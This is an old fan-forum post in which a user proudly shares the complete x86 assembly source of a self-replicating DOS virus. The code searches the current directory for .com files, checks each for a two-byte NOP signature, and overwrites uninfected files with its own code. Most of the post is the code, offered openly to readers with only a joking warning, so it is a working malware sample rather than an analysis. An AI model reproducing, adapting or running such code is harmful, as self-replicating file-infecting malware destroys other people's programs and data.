Thread: I made a virus!
View Single Post
Old 05-23-2008, 01:41 PM   #1 (permalink)
Pacman
1st Class Soldier / n#1

Points: 11,804, Level: 71
Points: 11,804, Level: 71 Points: 11,804, Level: 71 Points: 11,804, Level: 71
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
Pacman's Avatar
 

Join Date: Aug 2006
Location: Right here.
Age: 20
Posts: 1,921
Gil: 338,617
Thanks: 7
Thanked 11 Times in 10 Posts
My Mood:
Rep Power: 10
Reputation: 475
Pacman is a glorious beacon of lightPacman is a glorious beacon of lightPacman is a glorious beacon of lightPacman is a glorious beacon of lightPacman is a glorious beacon of light

View Extended RPG Stats

RPG Stats
RPG Name: Sephiroth
Clan: Avalanche

HP: 11000/11000
HP
MP: 450/450
MP
PP: 450/450
PP
Limit Break: 0%
Limit Break
EXP: 0% Total: 204605
EXP

Gil: 338,617
Wink I made a virus!

Hello people! This is not a scam!! I actually made a real virus!!

The definition of a virus is, basically, to be able to reproduce itself in other files infecting them with their code.

My virus:
- Has a signature.
- Reads files with the extension I set it to read the files
- If he finds a file with the virus signature, its already infected and it goes looking for another file.
- If he finds a file not infected, opens the file and write its own code on it.

Done!

I haven't find a way to create it in C language. Try making a code that write's itself... :S it's hard. I have done it with Assembly. I could give you the virus, but I will only display the code. Once Assembled and in my computer, AVG killed it instantly, so he couldn't infect anything...

Heres the code for the curious minds.

Code:
; VIRUS

org 100h

section .text

main:
 ; signature
 nop
 nop

 ; 1) gets every *.com file in directory
 ; 2) check if file is infected, if it has nop nop
 ; 3) if not infected, infect


 ; looks for the first file
 mov ah,4eh
 mov dx,maskcom
 mov cx,0000000000100000b ; filetype to infect , CX 16bits | CH | CL | <- CX
 int 21h

 ; if carry is 1 - jum to end - no files found
 ; if not go test
 jc fim
 jmp testar


 ; go search next file
 seguinte:
  mov ah,4fh
  int 21h
  jc fim ; if carry 1 - jump to end - no files found


 testar :

 ; check if file is infected with signaturee
 ; if infected, go next, if not infect

  ; open file to infect
  mov ah,3dh
  mov al,00h

  ; filename is on 9eh
  mov dx,9eh
  int 21h

  ; keeps file handle in handle var
  mov word [handle],ax

  ; reads files to check if there is the signature

  mov ah,3fh
  mov bx,word [handle]
  mov cx,2
  mov dx,verificar
  int 21h

  ; close
  mov ah,3eh
  mov bx,word [handle]
  int 21h


  ; compare is what was read is == to nop nop ( 9090h )
  ; infectado
  cmp word [verificar],9090h
  je seguinte


 ; if not infected, infect
 ; open file to infect
 mov ah,3dh
 mov al,01h
 mov dx,9eh
 int 21h

 mov word [handle],ax

 ; write the virus code plus signature
 mov ah,40h
 mov bx,word [handle]
 mov cx,114  ; chars to write

 mov dx,main ; writes where main pointer is.
 int 21h


 ; close file
 mov ah,3eh
 mov bx,word [handle]
 int 21h


 ; looks for another file in directory
 jmp seguinte

fim:
 mov ah,4ch
 int 21h



section .data
; ASCIIZ
maskcom db "*.com",0 ; filetype to infect

section .bss
handle resw 1
verificar resb 2 ; 2 byte
And this is it. DO NOT TRY THIS AT HOME, OR IF YOU DO, BE SURE TO HAVE AN UPDATED ANTI-VIRUS!!! Although this will do nothing, because its HIGHLY detectable by any antivirus.

Have fun.
__________________

"Oh Cloud! Your hair looks like a chocobo!!" - Tifa, Final Fantasy VII
"You'll cry. You're gonna cry. You always cry, see? You're crying." - Jecht, Final Fantasy X
"Fine, we rest. She's worse than the storm." - Auron, Final Fantasy X
"...Whatever." - Squall, Final Fantasy VIII

Must Read Announcements!! - Forum Rules & Guidelines - Reviews Templates - Premium Accounts
Pacman is offline   Reply With Quote